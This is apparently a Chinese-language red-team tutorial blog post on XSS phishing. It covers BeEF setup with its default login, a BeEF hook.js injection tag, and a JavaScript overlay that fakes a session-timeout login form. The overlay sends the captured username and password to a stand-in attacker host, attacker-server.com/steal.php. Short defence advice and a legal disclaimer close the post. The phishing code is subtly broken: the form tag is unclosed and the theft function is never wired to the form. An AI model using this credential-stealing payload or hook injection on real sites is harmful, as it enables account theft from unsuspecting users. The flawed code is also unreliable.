XSS钓鱼

2026-03-04 约 6 分钟读完

Web安全红队红队技术客户端漏洞

XSS钓鱼

1. 什么是XSS钓鱼

XSS钓鱼是一种利用跨站脚本（XSS）漏洞进行的钓鱼攻击，攻击者通过在目标网站注入恶意脚本，当用户访问受影响页面时，恶意脚本会在用户浏览器中执行，从而诱导用户输入敏感信息（如用户名、密码、信用卡信息等）。

2. XSS钓鱼的原理

寻找XSS漏洞：攻击者首先在目标网站上寻找XSS漏洞，通常是存储型XSS，这样可以长期存在。
注入钓鱼脚本：攻击者将精心构造的钓鱼脚本注入到有漏洞的页面中。
诱导用户访问：当用户访问包含恶意脚本的页面时，脚本会执行。
收集敏感信息：钓鱼脚本会模拟登录表单或其他界面，诱导用户输入敏感信息。
发送数据到攻击者：用户输入的敏感信息会被发送到攻击者控制的服务器。

3. 使用BeEF-XSS进行钓鱼

BeEF（Browser Exploitation Framework）是一个专门用于浏览器攻击的框架，非常适合用于XSS钓鱼攻击。

3.1 BeEF的安装

# 安装BeEF
apt-get install beef-xss

# 启动BeEF
bundle exec beef

3.2 基本使用步骤

启动BeEF：运行bundle exec beef命令启动BeEF服务器。
登录BeEF控制台：打开浏览器访问http://localhost:3000/ui/panel，使用默认用户名beef和密码beef登录。
生成Hook脚本：在BeEF控制台中，复制生成的hook.js脚本链接。
注入Hook脚本：将hook.js脚本注入到有XSS漏洞的页面中。
监控被钩住的浏览器：当用户访问包含hook.js的页面时，BeEF控制台会显示被钩住的浏览器。
执行钓鱼攻击：在BeEF控制台中，选择被钩住的浏览器，执行钓鱼模块。

4. XSS钓鱼示例

4.1 基本钓鱼脚本

// 简单的钓鱼脚本
var phishForm = `
<div style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.8); z-index: 9999;">
  <div style="position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); background: white; padding: 20px; border-radius: 5px; box-shadow: 0 0 10px rgba(0,0,0,0.3);">
    <h2>系统登录</h2>
    <p>您的会话已超时，请重新登录</p>
    <form
      <div style="margin: 10px 0;">
        <label>用户名:</label>
        <input type="text" id="username" style="width: 100%; padding: 5px;">
      </div>
      <div style="margin: 10px 0;">
        <label>密码:</label>
        <input type="password" id="password" style="width: 100%; padding: 5px;">
      </div>
      <div style="margin: 10px 0; text-align: right;">
        <button type="submit" style="padding: 5px 10px;">登录</button>
      </div>
    </form>
  </div>
</div>
`;

// 添加钓鱼表单到页面
document.body.insertAdjacentHTML('beforeend', phishForm);

// 窃取凭据函数
function stealCreds(event) {
  event.preventDefault();
  var username = document.getElementById('username').value;
  var password = document.getElementById('password').value;
  
  // 发送凭据到攻击者服务器
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://attacker-server.com/steal.php', true);
  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  xhr.send('username=' + encodeURIComponent(username) + '&password=' + encodeURIComponent(password));
  
  // 显示登录成功消息
  alert('登录成功，正在跳转...');
  // 移除钓鱼表单
  var phishDiv = document.querySelector('div[style*="position: fixed"]');
  if (phishDiv) phishDiv.remove();
}

4.2 使用BeEF的Hook脚本

<script src="http://your-beef-server:3000/hook.js"></script>

5. XSS钓鱼的防御措施

5.1 网站管理员防御

输入验证：对所有用户输入进行严格验证，过滤或转义特殊字符。
输出转义：对所有输出到页面的内容进行适当的转义。
使用CSP：设置内容安全策略（CSP），限制脚本的来源。
定期安全审计：定期进行安全审计，发现并修复XSS漏洞。

5.2 用户防御

保持浏览器更新：使用最新版本的浏览器，它们通常包含安全补丁。
使用安全插件：安装广告拦截器和XSS过滤器等安全插件。
谨慎输入敏感信息：不要在弹出的表单中输入敏感信息，特别是当表单看起来不寻常时。
检查URL：确保您访问的是合法网站，检查URL是否正确。
使用HTTPS：只在使用HTTPS的网站上输入敏感信息。

6. 法律风险

请注意，未经授权使用XSS钓鱼技术获取他人敏感信息是违法的，可能会导致严重的法律后果。本教程仅用于安全教育目的，请勿用于非法活动。

7. 总结

XSS钓鱼是一种结合了XSS漏洞和社会工程学的攻击方式，具有很强的隐蔽性和危害性。网站管理员应该采取有效的防御措施来防止XSS漏洞，用户也应该提高安全意识，避免成为XSS钓鱼的受害者。